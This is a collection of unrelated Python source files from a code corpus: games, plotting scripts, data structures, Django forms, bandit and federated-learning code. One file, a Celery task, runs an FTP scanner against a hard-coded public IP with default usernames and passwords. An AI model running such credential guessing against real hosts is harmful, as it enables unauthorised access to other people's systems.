obj_cls(obj_id, data if use_cache else None, session)\n\n\ndef obj_url_parse(url):\n for pattern, obj_type in RE_TYPE_MAP.items():\n match = pattern.match(url)\n if match:\n need_int = obj_type not in NOT_INT_ID_CLS_NAME\n obj_id = match.group(1)\n if need_int:\n obj_id = int(obj_id)\n return obj_id, obj_type\n return None, None\n\n\ndef can_get_from(name, data):\n return name in data and not isinstance(data[name], (dict, list))\n\n\nDEFAULT_INVALID_CHARS = {':', '*', '?', '\"', '<', '>', '|', '\\r', '\\n'}\nEXTRA_CHAR_FOR_FILENAME = {'/', '\\\\'}\n\n\ndef remove_invalid_char(dirty_data, invalid_chars=None, for_path=False):\n if invalid_chars is None:\n invalid_chars = set(DEFAULT_INVALID_CHARS)\n else:\n invalid_chars = set(invalid_chars)\n invalid_chars.update(DEFAULT_INVALID_CHARS)\n if not for_path:\n invalid_chars.update(EXTRA_CHAR_FOR_FILENAME)\n\n return ''.join([c for c in dirty_data if c not in invalid_chars]).strip()\n\n\ndef add_serial_number(file_path, suffix):\n full_path = file_path + suffix\n if not os.path.isfile(full_path):\n return full_path\n num = 1\n while os.path.isfile(full_path):\n serial = str(num)\n full_path = file_path + ' - ' + serial.rjust(3, '0') + '.' + suffix\n num += 1\n return full_path\n","sub_path":"12Auth/auth/core/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"265464763","text":"import pandas as pd\r\nimport numpy as np\r\nimport shift\r\nimport time\r\n\r\n\r\ndef portfolioItems(trader):\r\n pi = trader.getPortfolioItems().values()\r\n idx = 0\r\n df_pi = pd.DataFrame(columns=['Symbol', 'Share', 'Close_Price', 'Trade_Price'])\r\n for order in pi:\r\n df_pi.loc[idx, ['Symbol', 'Share', 'Trade_Price']] = [order.getSymbol(), order.getShares(), abs(order.getPrice())]\r\n idx += 1\r\n df_pi = df_pi[df_pi['Share'] != 0]\r\n\r\n df_pi.index = np.arange(0, len(df_pi))\r\n for i in range(0, len(df_pi.index)):\r\n df_pi.loc[i, ['Close_Price']] = trader.getClosePrice(df_pi[\"Symbol\"][i], df_pi[\"Share\"][i] < 0,\r\n int(abs(df_pi[\"Share\"][i] / 100)))\r\n return df_pi\r\n\r\n\r\ndef portfolioValue(trader):\r\n portfolio = portfolioItems(trader)\r\n pnl = trader.getPortfolioSummary().getTotalRealizedPL()\r\n return round(1000000 + ((portfolio.Close_Price - portfolio.Trade_Price) * portfolio.Share).sum() + pnl, 2)\r\n\r\n\r\n\r\n\r\n\r\nif __name__=='__main__':\r\n\r\n trader = shift.Trader(\"test003\")\r\n #trader.disconnect()\r\n trader.connect(\"initiator.cfg\", \"password\")\r\n trader.subAllOrderBook()\r\n\r\n trader.submitOrder(shift.Order(shift.Order.MARKET_BUY, \"AAPL\", 1, 0.00))\r\n trader.submitOrder(shift.Order(shift.Order.MARKET_SELL, \"IBM\", 1, 0.00))\r\n trader.submitOrder(shift.Order(shift.Order.LIMIT_BUY, \"IBM\", 1, 10.00))\r\n\r\n time.sleep(2)\r\n\r\n print(\"Symbol\\t\\tShares\\t\\tPrice\\t\\tP&L\\t\\tTimestamp\")\r\n for item in trader.getPortfolioItems().values():\r\n print(\"%6s\\t\\t%6d\\t%9.2f\\t%7.2f\\t\\t%26s\" %\r\n (item.getSymbol(), item.getShares(), item.getPrice(), item.getRealizedPL(), item.getTimestamp()))\r\n\r\n print(\"Symbol\\t\\t\\t\\t\\t Type\\t Price\\t\\tSize\\tID\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tTimestamp\")\r\n for order in trader.getWaitingList():\r\n print(\"%6s\\t%21s\\t%7.2f\\t\\t%4d\\t%36s\\t%26s\" %\r\n (order.symbol, order.type, order.price, order.size, order.id, order.timestamp))\r\n\r\n print(trader.getPortfolioSummary().getTotalBP())\r\n\r\n\r\n print(portfolioItems(trader))\r\n print(portfolioValue(trader))\r\n trader.disconnect()\r\n","sub_path":"legacy_code/exp/exec_dqn/portfolio_value.py","file_name":"portfolio_value.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"620014699","text":"import string\nfrom words import choose_word\nfrom images import IMAGES\n'''\nInstructions:\n* Function and Variable Name: snake_case -> is_prime\n* Constant Variable: upper case -> PI\n'''\n\ndef is_word_guessed(secret_word, letters_guessed):\n '''\n secret_word: word guessed by the user\n letters_guessed: list which holds all the words guessed by the user\n returns: \n return True (if user guesses the word correctly)\n return False (wrong selection)\n '''\n count=0\n for i in letters_guessed:\n if(i in secret_word):\n count+=1\n if(count == len(secret_word)):\n return True\n return False\n\ndef get_guessed_word(secret_word, letters_guessed):\n '''\n secret_word: word guessed by the user\n letters_guessed: list which holds all the words guessed by the user\n returns: \n return string which contains all the correctly guessed characters\n Example :- \n if secret_word -> \"kindness\" and letters_guessed = [k, n, s]\n return \"k_n_n_ss\"\n '''\n index = 0\n guessed_word = \"\"\n while (index < len(secret_word)):\n if secret_word[index] in letters_guessed:\n guessed_word += secret_word[index]\n else:\n guessed_word += \"_\"\n index += 1\n return guessed_word\n\n\ndef get_available_letters(letters_guessed):\n '''\n letters_guessed: list which holds all the words guessed by the user\n returns: \n a string which contains all characters except guessed letters\n Example :-\n letters_guessed = ['e', 'a'] then \n return sting is -> 'bcdfghijklmnopqrstuvwxyz'\n '''\n global letters_left \n for i in letters_guessed:\n if(i in letters_left):\n letters_left = letters_left.replace(i,\"#\")\n return letters_left\n\ndef ifValid(check_letter):\n if(check_letter.isalpha() == False or len(check_letter)>1):\n print(\"Please try again\\n\")\n return False\n return True\n\ndef hangman(secret_word):\n '''\n secret_word type -> (string) : to be guessed by the user.\n\n Steps to start Hangman:\n\n * In the beginning of the game user will know about the total characters in the secret_word \n\n * In each round user will guess one character \n\n * After each character input give feedback to the user\n * right or wrong\n\n * Display the partial word as guessed by the user and use underscore in place of word unguessed yet \n '''\n print(\"Welcome to the game, Hangman!\")\n print(\"I am thinking of a word that is {} letters long.\".format(str(len(secret_word))), end='\\n\\n')\n\n letters_guessed = []\n remaining_lives = 8;\n wrong_input_count =0\n\n while(remaining_lives > 0):\n available_letters = get_available_letters(letters_guessed)\n print(\"Available letters: {} \".format(available_letters))\n guess = input(\"Please guess a letter: \")\n letter = guess.lower()\n if(ifValid(letter) == False):\n continue \n\n if letter in secret_word:\n letters_guessed.append(letter)\n print(\"Good guess: {} \".format(get_guessed_word(secret_word, letters_guessed)))\n if is_word_guessed(secret_word, letters_guessed) == True:\n print(\"\\n * * Congratulations, you won! * * \", end='\\n\\n')\n exit()\n else:\n remaining_lives-=1\n if(remaining_lives == 0):\n print(IMAGES[wrong_input_count], \"\\n\")\n print(\"Oops! That letter is not in my word: {} \\nRemaining Lives: {}\".format(get_guessed_word(secret_word, letters_guessed), remaining_lives))\n print(f\"The word was: '{secret_word}'\")\n exit(); \n print(\"Oops! That letter is not in my word: {} \\nRemaining Lives: {}\".format(get_guessed_word(secret_word, letters_guessed), remaining_lives))\n letters_guessed.append(letter)\n print(IMAGES[wrong_input_count], \"\\n\")\n wrong_input_count+=1\n \n\n\n\n# Load the list of words into the variable wordlist\n# So that it can be accessed from anywhere in the program\nsecret_word = choose_word()\nletters_left = \" \".join(string.ascii_lowercase)\nhangman(secret_word)\n","sub_path":"Hangman Task (Completed)/hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":4084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"32787120","text":"from pygame import key\nfrom pygame.constants import K_DOWN, K_LEFT, K_LSHIFT, K_RIGHT, K_SPACE, K_UP, K_a, K_d, K_s, K_w\n\nfrom abstract_agent import AbstractAgent\nfrom agent_utilities import TankControls\n\n# Dictionary defining controls for keyboard users\nP1_CONTROLS = {TankControls.FORWARD: K_UP, TankControls.BACKWARD: K_DOWN,\n TankControls.CLOCKWISE: K_RIGHT, TankControls.C_CLOCKWISE: K_LEFT,\n TankControls.SHOOT: K_SPACE}\n\nP2_CONTROLS = {TankControls.FORWARD: K_w, TankControls.BACKWARD: K_s,\n TankControls.CLOCKWISE: K_d, TankControls.C_CLOCKWISE: K_a,\n TankControls.SHOOT: K_LSHIFT}\n\n\nclass InteractiveAgent(AbstractAgent):\n def __init__(self, arena_size, number):\n super(InteractiveAgent, self).__init__(arena_size)\n\n if number == 1:\n self.controls = P1_CONTROLS\n elif number == 2:\n self.controls = P2_CONTROLS\n else:\n raise Exception(\"Invalid number given\")\n\n def get_moves(self, this_tank, other_tank):\n \"\"\"\n Simply get the pressed keys and convert them into the corresponding movement codes for the tank.\n Args:\n this_tank: The tank that is to be moved\n other_tank: The opponents tank\n Returns:\n The moves the player is taking\n \"\"\"\n moves = []\n\n pressed_keys = key.get_pressed()\n\n for tank_control, movement_key in self.controls.iteritems():\n if pressed_keys[movement_key]:\n moves.append(tank_control)\n\n return moves\n","sub_path":"game/agents/interactive_agent.py","file_name":"interactive_agent.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"55504906","text":"import astropy.table as t\nimport matplotlib as mpl\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport glob\nfrom matplotlib.ticker import ScalarFormatter\nfrom astropy.cosmology import Planck15 as planck\nimport scipy.optimize as sciopt\n\n\n# setting the figure\nfont = {'family': 'serif', 'weight': 'normal', 'size': 14}\nplt.rc('font', **font)\nmpl.rcParams['axes.linewidth'] = 1.5\n\nfigure_size = [7, 6]\nfig, ax = plt.subplots(1, 1, figsize=(figure_size[0], figure_size[1]))\n\nalpha=0.9\nfigname='Gamma_HI.pdf'\n\nfilename='/home/vikram/Work/centOS/UVB/KS2016/uvb/models/data/plots/gama/becker2013.txt'\ndata=np.loadtxt(filename)\nz=data[:,0]\ng=data[:,1]\ng2=data[:,2]\ng1=data[:,3]\n#ax.errorbar(z, 10.0**g*1e-12, yerr=[(10.0**(g)-10.0**(g+g1))*1e-12, (10.0**(g+g2)-10.0**(g))*1e-12,], marker='s', label='Becker et al. 2013', markersize=8, ls='', c='darkorchid', alpha=0.9, elinewidth=2)\n\nfilename='/home/vikram/Work/centOS/UVB/KS2016/uvb/models/data/plots/gama/bolton07.txt'\ndata=np.loadtxt(filename)\nz=data[:,0]\ng=data[:,1]\ng2=data[:,2]\ng1=data[:,3]\n#ax.errorbar(z, g*1e-12, yerr=[-1.0*g1*1e-12, g2*1e-12,], marker='v', label='Bolton et al. 2007', markersize=11, ls='', c='green', alpha=0.9, elinewidth=2)\n\nx=0.1\ny=0.175e-12\nl='Kollmeier et al. 2014'\n#ax.scatter(x, y, label=l, marker='*', s=300, c='blue')\n\nuvb_array= [14, 15, 16, 17, 18, 19, 20]\n\npath_gamma_files = '/home/vikram/cgm_uvb/cgm_uvb/paper_plots/gamma_HI_files/'\nal = 0.9\nfor Q in uvb_array:\n q_name = 'Q{}'.format(Q)\n label = 'KS19 ({})'.format(q_name)\n gamma_file = path_gamma_files + 'Gamma_HI_KS18_Q{}.fits'.format(Q)\n data = t.Table.read(gamma_file)\n if Q == 18:\n ax.plot(data['z'], data['g'], label=label, linewidth=3, alpha= al)\n else:\n ax.plot(data['z'], data['g'], label=label, linewidth=2, alpha= al)\n\n #ax.plot(z, g, color='k', label=label, linestyle='-', dashes=(5, 4), linewidth=2, alpha= al)\n\nuvb_model = 'FG20'\nfile_name = path_gamma_files + 'Gamma_HI_{}.fits'.format(uvb_model)\ndata = t.Table.read(file_name)\nax.plot(data['z'], data['g'], label=uvb_model, linewidth=3, linestyle = '--',alpha = alpha, c= 'cyan')\n\nuvb_model = 'P19'\nfile_name = path_gamma_files + 'Gamma_HI_{}.fits'.format(uvb_model)\ndata = t.Table.read(file_name)\nax.plot(data['z'], data['g'], label=uvb_model, linewidth=3, linestyle = '-.',alpha = alpha, c= 'grey')\n\n\n\n#ax.plot(z, g, color='k', label=r'Khaire & Srianand 2018 ', linewidth=2, alpha=0.8)\n\n#uvb=np.loadtxt('/home/vikram/Work/data_literature/gamma_h1/HM_gama.dat')\n#z=uvb[:,0]\n#g=uvb[:,1]\n#ax.plot(z, g, color='magenta', label='Haardt & Madau 2012', linestyle='-.', linewidth=2, dashes=(5, 4, 1, 2), alpha=0.8)\n#ax.plot(z, g, color='magenta', label='Haardt & Madau 2012', alpha=0.8)\n\nfilename='/home/vikram/Work/ucsb/chi_square/diagonal_best_fit_gamma.txt'\ndata=np.loadtxt(filename)\nz=data[:,0]\ng1=data[:,1]\ng=data[:,2]\ng2=data[:,3]\ni=2\n#ax.errorbar(z, g, (g2-g), marker='.', markersize=13, ls='', c='red', alpha=0.5, elinewidth=2)\n#print(z, g[i])\nax.errorbar(z, g, yerr=[5.75*(g-g1), 5.75*(g2-g),], marker='.', label='Khaire et al. 2019', markersize=20, ls='',\n c='b', alpha=0.9, elinewidth=2.9, zorder=11, capsize=4, capthick=2.2)\n\n# Gaikwad et al 2018\npz=np.array([0.11, 0.21, 0.31, 0.41])\npg=np.array([0.066, 0.1, 0.145, 0.210])*1e-12\npe=np.array([0.015, 0.021, 0.037, 0.052])*1e-12\nt = ['g', 'orange', 'b', 'm', 'r']\nl='Gaikwad et al. 2017'\nax.errorbar(pz, pg, pe, marker='D', label=l, markersize=8, ls='', c='k', alpha=0.8, elinewidth=2.5, zorder = 10, capsize=4, capthick=2.2)\n\n\nl='Caruso et al. 2019'\nz=[0.004,]\ng=[7.27e-14,]\nerr1=[2.93e-14,]\nerr2=[2.90e-14,]\nax.errorbar(z, g, yerr=[err1, err2,], marker='s', label=l, markersize=8, zorder=11, c='gold',\n alpha=alpha, elinewidth=2.5, clip_on=False)\n\nax.set_yscale('log')\nax.set_ylabel(r'$\\Gamma_{\\rm H \\, I}$ ( s$^{-1} )$')\nax.set_xlabel('Redshift')\nax.legend( loc = 'best', fontsize = 12, handlelength=3.6, ncol=2, labelspacing=1 )\n\n\nax.set_xlim(-0.005, 0.55)\nax.set_ylim(1e-14, 4e-13)\nax.tick_params(direction='in', length=7, width=1.7)\nax.tick_params(direction='in', which='minor', length=4, width=1.7)\nax.xaxis.set_ticks_position('both')\nax.yaxis.set_ticks_position('both')\n#ax.ticklabel_format(axis='y', style='sci')\n#ax.yaxis.set_major_formatter(ScalarFormatter(useMathText=True))\n\n\n\nfor axis in ['top','bottom','left','right']:\n ax.spines[axis].set_linewidth(1.7)\n\n#ax.legend(loc='lower right')\n\nfig.tight_layout(rect=[-0.03, -0.03, 1.02, 1.02])\n\nfig.savefig(figname, bbox_inches='tight')\n\nplt.show()\n\n","sub_path":"cloudy/abhisek__cloudy_template/plots/gamma_HI.py","file_name":"gamma_HI.py","file_ext":"py","file_size_in_byte":4569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"571683223","text":"__author__ = 'CodeFace'\n\nimport celery\nfrom web.modules.scanner import Scanner\nimport time\n\n\n@celery.task()\ndef scan():\n iplist = ['218.67.62.25']\n users = ['ftp']\n pwds = ['admin', 'root', 'ftp']\n s = Scanner(iplist, users, pwds, 10)\n s.scan()\n while s.thread_count > 0:\n time.sleep(1)\n print('run ftp scan...')\n return s.result\n\n","sub_path":"web/modules/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"497470009","text":"# -*- coding: latin-1 -*-\n\n\"\"\"\n--------\nQUESTION\n--------\nWrite a function to test if a tree is balanced. \nA tree is balanced if the difference in height of the left subtree and the right subtree is never greater \nthan zero for any node in the tree.\n\n\"\"\"\n\n\"\"\"\nMY ANSWERS\n\nThis is a super classic interview question. The 101 of binary tree question that you must know.\n\nIt is solved by an adaptation of the post order algorithm. \n\nThe base case is that a node withoout subtrees is balanced. \n\nThen for a node, we check if the left tree is balanced. If it is balanced, we return the height of the tree\n\nIf it is not balanced, we return -1. \n\nWe then check if the right tree is balanced in the same manner.\n\nFor a node, if the left subtree is balanced, and the right subtree is balanced, then we return the maximum\n\nheight from that node. \n\"\"\"\n\n\nclass Node(object):\n\t\"\"\"docstring for Node\"\"\"\n\tdef __init__(self, value, left=None, right=None):\n\t\tself.value = value\n\t\tself.left = left\n\t\tself.right = right\n\ndef is_balanced(node):\n\tif node is None:\n\t\treturn 0;\n\tleft_check = is_balanced(node.left)\n\tif left_check == -1:\n\t\treturn -1\n\n\tright_check = is_balanced(node.right)\n\tif right_check == -1:\n\t\treturn -1\n\n\tif abs(left_check - right_check) > 1 :\n\t\treturn -1\n\n\treturn 1 + max(left_check, right_check)\n\ndef check_balanced(tree_root):\n\tif is_balanced(tree_root) == -1:\n\t\treturn False\n\telse:\n\t\treturn True\n\n\ndef make_unbalanced_tree():\n\tt = Node(1,Node(2,Node(3)))\n\treturn t\n\ndef make_balanced_tree():\n\tt = Node(1,Node(2,Node(3),Node(4)),Node(5,Node(6),Node(7)))\n\treturn t\n\ndef test_is_balanced_tree():\n\tbal = make_balanced_tree()\n\tunbal = make_unbalanced_tree() \n\tassert check_balanced(bal) == True\n\tassert check_balanced(unbal) == False\n\nif __name__ ==\"__main__\":\n\ttest_is_balanced_tree()\n\n\"\"\"\nNOTES\nThis algorithm runs in O(n) time and O(h) in space\nIt runs much better than the recursive approach\n\"\"\"","sub_path":"algorithms/trees/balanced_binary_tree.py","file_name":"balanced_binary_tree.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"293860952","text":"from django import forms\nfrom .models import Movie, Comment\n\n\nclass MovieForm(forms.Form):\n\n title = forms.CharField(max_length=50)\n\n title_en = forms.CharField(\n max_length=100,\n label='English title',\n widget=forms.TextInput(\n attrs={\n 'placeholder': 'Enter english title',\n }\n )\n )\n\n audience = forms.IntegerField()\n\n open_date = forms.DateField(\n widget=forms.DateInput(\n attrs={\n 'type': 'date'\n }\n )\n )\n\n genre = forms.CharField(max_length=20)\n watch_grade = forms.CharField(max_length=20)\n score = forms.FloatField()\n poster_url = forms.CharField(widget=forms.Textarea)\n description = forms.CharField(widget=forms.Textarea)\n\n\nclass MovieModelForm(forms.ModelForm):\n\n open_date = forms.DateField(\n widget=forms.DateInput(\n attrs={\n 'type': 'date'\n }\n )\n )\n\n class Meta:\n model = Movie\n fields = '__all__'\n\n\nclass CommentForm(forms.ModelForm):\n\n class Meta:\n model = Comment\n fields = ('comment', )\n","sub_path":"movies/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"404589842","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport json\n\nfrom alipay.aop.api.constant.ParamConstants import *\n\n\nclass TaxInfoDto(object):\n\n def __init__(self):\n self._address = None\n self._bank_name = None\n self._effective_date = None\n self._invoice_title = None\n self._org_id = None\n self._phone_no = None\n self._tax_no = None\n self._type = None\n self._type_desc = None\n\n @property\n def address(self):\n return self._address\n\n @address.setter\n def address(self, value):\n self._address = value\n @property\n def bank_name(self):\n return self._bank_name\n\n @bank_name.setter\n def bank_name(self, value):\n self._bank_name = value\n @property\n def effective_date(self):\n return self._effective_date\n\n @effective_date.setter\n def effective_date(self, value):\n self._effective_date = value\n @property\n def invoice_title(self):\n return self._invoice_title\n\n @invoice_title.setter\n def invoice_title(self, value):\n self._invoice_title = value\n @property\n def org_id(self):\n return self._org_id\n\n @org_id.setter\n def org_id(self, value):\n self._org_id = value\n @property\n def phone_no(self):\n return self._phone_no\n\n @phone_no.setter\n def phone_no(self, value):\n self._phone_no = value\n @property\n def tax_no(self):\n return self._tax_no\n\n @tax_no.setter\n def tax_no(self, value):\n self._tax_no = value\n @property\n def type(self):\n return self._type\n\n @type.setter\n def type(self, value):\n self._type = value\n @property\n def type_desc(self):\n return self._type_desc\n\n @type_desc.setter\n def type_desc(self, value):\n self._type_desc = value\n\n\n def to_alipay_dict(self):\n params = dict()\n if self.address:\n if hasattr(self.address, 'to_alipay_dict'):\n params['address'] = self.address.to_alipay_dict()\n else:\n params['address'] = self.address\n if self.bank_name:\n if hasattr(self.bank_name, 'to_alipay_dict'):\n params['bank_name'] = self.bank_name.to_alipay_dict()\n else:\n params['bank_name'] = self.bank_name\n if self.effective_date:\n if hasattr(self.effective_date, 'to_alipay_dict'):\n params['effective_date'] = self.effective_date.to_alipay_dict()\n else:\n params['effective_date'] = self.effective_date\n if self.invoice_title:\n if hasattr(self.invoice_title, 'to_alipay_dict'):\n params['invoice_title'] = self.invoice_title.to_alipay_dict()\n else:\n params['invoice_title'] = self.invoice_title\n if self.org_id:\n if hasattr(self.org_id, 'to_alipay_dict'):\n params['org_id'] = self.org_id.to_alipay_dict()\n else:\n params['org_id'] = self.org_id\n if self.phone_no:\n if hasattr(self.phone_no, 'to_alipay_dict'):\n params['phone_no'] = self.phone_no.to_alipay_dict()\n else:\n params['phone_no'] = self.phone_no\n if self.tax_no:\n if hasattr(self.tax_no, 'to_alipay_dict'):\n params['tax_no'] = self.tax_no.to_alipay_dict()\n else:\n params['tax_no'] = self.tax_no\n if self.type:\n if hasattr(self.type, 'to_alipay_dict'):\n params['type'] = self.type.to_alipay_dict()\n else:\n params['type'] = self.type\n if self.type_desc:\n if hasattr(self.type_desc, 'to_alipay_dict'):\n params['type_desc'] = self.type_desc.to_alipay_dict()\n else:\n params['type_desc'] = self.type_desc\n return params\n\n @staticmethod\n def from_alipay_dict(d):\n if not d:\n return None\n o = TaxInfoDto()\n if 'address' in d:\n o.address = d['address']\n if 'bank_name' in d:\n o.bank_name = d['bank_name']\n if 'effective_date' in d:\n o.effective_date = d['effective_date']\n if 'invoice_title' in d:\n o.invoice_title = d['invoice_title']\n if 'org_id' in d:\n o.org_id = d['org_id']\n if 'phone_no' in d:\n o.phone_no = d['phone_no']\n if 'tax_no' in d:\n o.tax_no = d['tax_no']\n if 'type' in d:\n o.type = d['type']\n if 'type_desc' in d:\n o.type_desc = d['type_desc']\n return o\n\n\n","sub_path":"alipay/aop/api/domain/TaxInfoDto.py","file_name":"TaxInfoDto.py","file_ext":"py","file_size_in_byte":4659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"458172043","text":"# A node structure\nfrom collections import deque\n\n\nclass Node:\n # A utility function to create a new node\n def __init__(self, key, children):\n self.val = key\n self.children = children\n\n @staticmethod\n def n_ary_bfs(root):\n if root is None:\n return []\n q = deque([root])\n result = []\n while q:\n tmp = []\n for _ in range(len(q)):\n node = q.popleft()\n for c in node.children:\n q.append(c)\n tmp.append(node.val)\n result.append(tmp)\n return result\n\n\n# Driver Code\nif __name__ == '__main__':\n t_root = Node(1, [Node(3, [Node(5, []), Node(6, [])]), Node(2, []), Node(4, [Node(7, []), Node(8, [])])])\n\n print(\"n_ary_bfs\")\n\n print(t_root.n_ary_bfs(t_root))\n","sub_path":"_Trees/bfs/leetcode/3_429.py","file_name":"3_429.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"599538689","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nfrom numpy.random import beta\nfrom typing import Dict\n\nfrom . import BernoulliAlgo\n\n\nclass MinDSWTS(BernoulliAlgo):\n\n _last_reward_trace: Dict\n _tmp_betas: np.ndarray\n _n: int\n _gamma: float\n\n def __init__(self, n_arms: int, gamma: float = 0.9, n: int = 30, store_estimates:bool=True):\n super().__init__(n_arms=n_arms, store_estimates=store_estimates)\n self._last_reward_trace = {a : [] for a in range(n_arms)}\n self._tmp_betas = np.ones(shape=(n_arms, 2))\n self._n = n\n self._gamma = gamma\n\n def __repr__(self):\n return \"Min d-sw TS\"\n\n def update_estimates(self, action: int, reward: int) -> None:\n self._betas *= self._gamma\n self.update_tmp_betas(action, reward)\n self._betas[action][reward] += 1\n if self._store_estimates:\n for a in range(self._n_arms):\n self._mean_trace[a].append(self._betas[a][1] / (self._betas[a][1] + self._betas[a][0]))\n\n def update_tmp_betas(self, action: int, reward: int):\n if len(self._last_reward_trace[action]) >= self._n:\n tmp_reward = self._last_reward_trace[action].pop(0)\n self._tmp_betas[action][tmp_reward] -= 1\n self._tmp_betas[action][reward] += 1\n self._last_reward_trace[action].append(reward)\n\n def select_action(self) -> int:\n samples = [beta(a=self._betas[a][1] + 1, b=self._betas[a][0] + 1)\n for a in range(self._n_arms)]\n tmp_samples = [beta(a=self._tmp_betas[a][1], b=self._tmp_betas[a][0])\n for a in range(self._n_arms)]\n\n return np.argmax([min(samples[a], tmp_samples[a]) for a in range(self._n_arms)])\n","sub_path":"multi_armed_bandit/algorithms/bernoulli_dist/min_dsw_ts.py","file_name":"min_dsw_ts.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"627526194","text":"\"\"\"\nremove pysyft framework\nnew version:fed avg\ntime:20201217\n\"\"\"\n\nimport time\nimport copy\nimport numpy as np\nimport torch\n\ntorch.set_default_tensor_type(torch.FloatTensor)\n# set random seed\n\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nfrom optimizers.fedoptimizer import pFedMeOptimizer\n\nfrom client.client import Client, client_train_schedule_pFedMe as client_train_schedule\n# from client.client import Client, client_train_schedule_fedavg as client_train_schedule\n\nfrom dataset.org_dataset import load_org_dataset\nfrom dataset.dataset_v4 import dataset_federate_new as data_federate,BaseDataset\n# from dataset.data_transform import get_dataset_transform_v1 as get_dataset_transform\nfrom dataset.data_transform import get_dataset_transform\n\nfrom model.model_factory import get_init_model\n\n# \nfrom arguments_v1 import ExperimentPara as ExpermentPara\nfrom logger.log_utils import Logger\nfrom aggregation_utils.aggregation_v2 import AggregationModule\n\nfrom torch.multiprocessing import Pool, Process, set_start_method\ntry:\n set_start_method('spawn')\nexcept RuntimeError:\n pass\n\nuse_cuda = torch.cuda.is_available()\ndevice = torch.device(\"cuda\" if use_cuda else \"cpu\")\nkwargs = {'num_workers': 0, 'pin_memory': False} if use_cuda else {}\n\ndef federate_train_v1(client_list, cur_arguments: ExpermentPara, cur_round,\n aggregation_module: AggregationModule=None,\n compression_module = None):\n org_server_model = copy.deepcopy(client_list[0].model)\n org_model_list = [] # \n for cur_client in client_list:\n cur_client: Client\n copy_model = copy.deepcopy(cur_client.get_model())\n org_model_list.append(copy_model)\n\n update_model_list = []\n for cur_client in client_list: # \n tmp_model = copy.deepcopy(cur_client.get_model())\n tmp_model.train()\n # tmp_optimizer = optim.SGD(tmp_model.parameters(), lr=1e-2, weight_decay=1e-4)\n tmp_optimizer = pFedMeOptimizer(tmp_model.parameters(), lr=cur_arguments.personal_learning_rate, lamda=cur_arguments.lamda)\n\n\n tmp_train_data = cur_client.get_train_dataset()\n # tmp_train_data.set_transform_flag(True)\n tmp_dataloader = torch.utils.data.DataLoader(tmp_train_data, batch_size=cur_arguments.batch_size,\n shuffle=True, num_workers=6, pin_memory=False)\n update_model = client_train_schedule(tmp_model, tmp_dataloader, tmp_optimizer, cur_arguments, device)\n update_model_list.append(update_model) # \n\n for index,cur_client in enumerate(client_list):\n cur_client.set_model(update_model_list[index])\n print(\"after local update,and then test the personal local model.\")\n federate_test_v1(client_list,cur_round)\n\n update_model_list_cp = []\n for tmp_model in update_model_list:\n current_model_local = copy.deepcopy(tmp_model)\n update_model_list_cp.append(current_model_local)\n\n # \n final_state_dict_list = aggregation_module.get_aggregation_result(update_model_list_cp,beta=cur_arguments.beta,org_server_model=org_server_model)\n\n if cur_arguments.use_server:\n print(\"update by server at rount {}\".format(cur_round))\n for model_index, tmp_model in enumerate(update_model_list): # \n tmp_model.load_state_dict(final_state_dict_list[model_index])\n else:\n pass\n for update_model, cur_client in zip(update_model_list, client_list): # \n cur_client.set_model(copy.deepcopy(update_model)) # \n return client_list\n\n\ndef federate_test_v1(cur_client_list, cur_round):\n all_acc_list = []\n for cur_client in cur_client_list:\n cur_client: Client\n current_worker_id = cur_client.get_worker_id()\n cur_model = cur_client.get_model()\n cur_model.eval()\n cur_test_dataset = cur_client.get_test_dataset()\n client_test_sample_num = len(cur_test_dataset)\n cur_test_dataloader = torch.utils.data.DataLoader(cur_test_dataset, batch_size=50000,\n shuffle=True, num_workers=6, pin_memory=False)\n test_loss = 0\n correct = 0\n with torch.no_grad():\n for batch_idx, (data, target) in enumerate(cur_test_dataloader):\n data, target = data.to(device), target.to(device)\n output = cur_model(data)\n current_loss = F.nll_loss(output, target, reduction='sum')\n\n test_loss = test_loss + current_loss.item() # sum up batch loss\n\n pred = output.argmax(1, keepdim=True) # get the index of the max log-probability\n correct = correct + pred.eq(target.view_as(pred)).sum().item()\n test_loss /= client_test_sample_num\n log_info = 'Test_result,Epoch={},Model={},Test set:Average loss={:.4f},Accuracy={}/{} ({:.0f}%)'.format(\n cur_round, current_worker_id, test_loss, correct, client_test_sample_num,\n 100. * correct / client_test_sample_num)\n all_acc_list.append(correct / client_test_sample_num)\n print(log_info)\n print(\"np.mean(all_acc_list)\",np.mean(all_acc_list))\n\nif __name__ == \"__main__\":\n import sys\n savedStdout = sys.stdout # \n import argparse\n\n parse = argparse.ArgumentParser()\n parse.add_argument(\"--mode\", type=str, default=\"IID\")\n parse.add_argument(\"--client_num\", type=int, default=10)\n parse.add_argument(\"--class_num_for_client\", type=int, default=32)\n parse.add_argument(\"--dataset_name\", type=str, default=\"EMNIST\")\n parse.add_argument(\"--model_name\", type=str, default=\"CNN\")\n 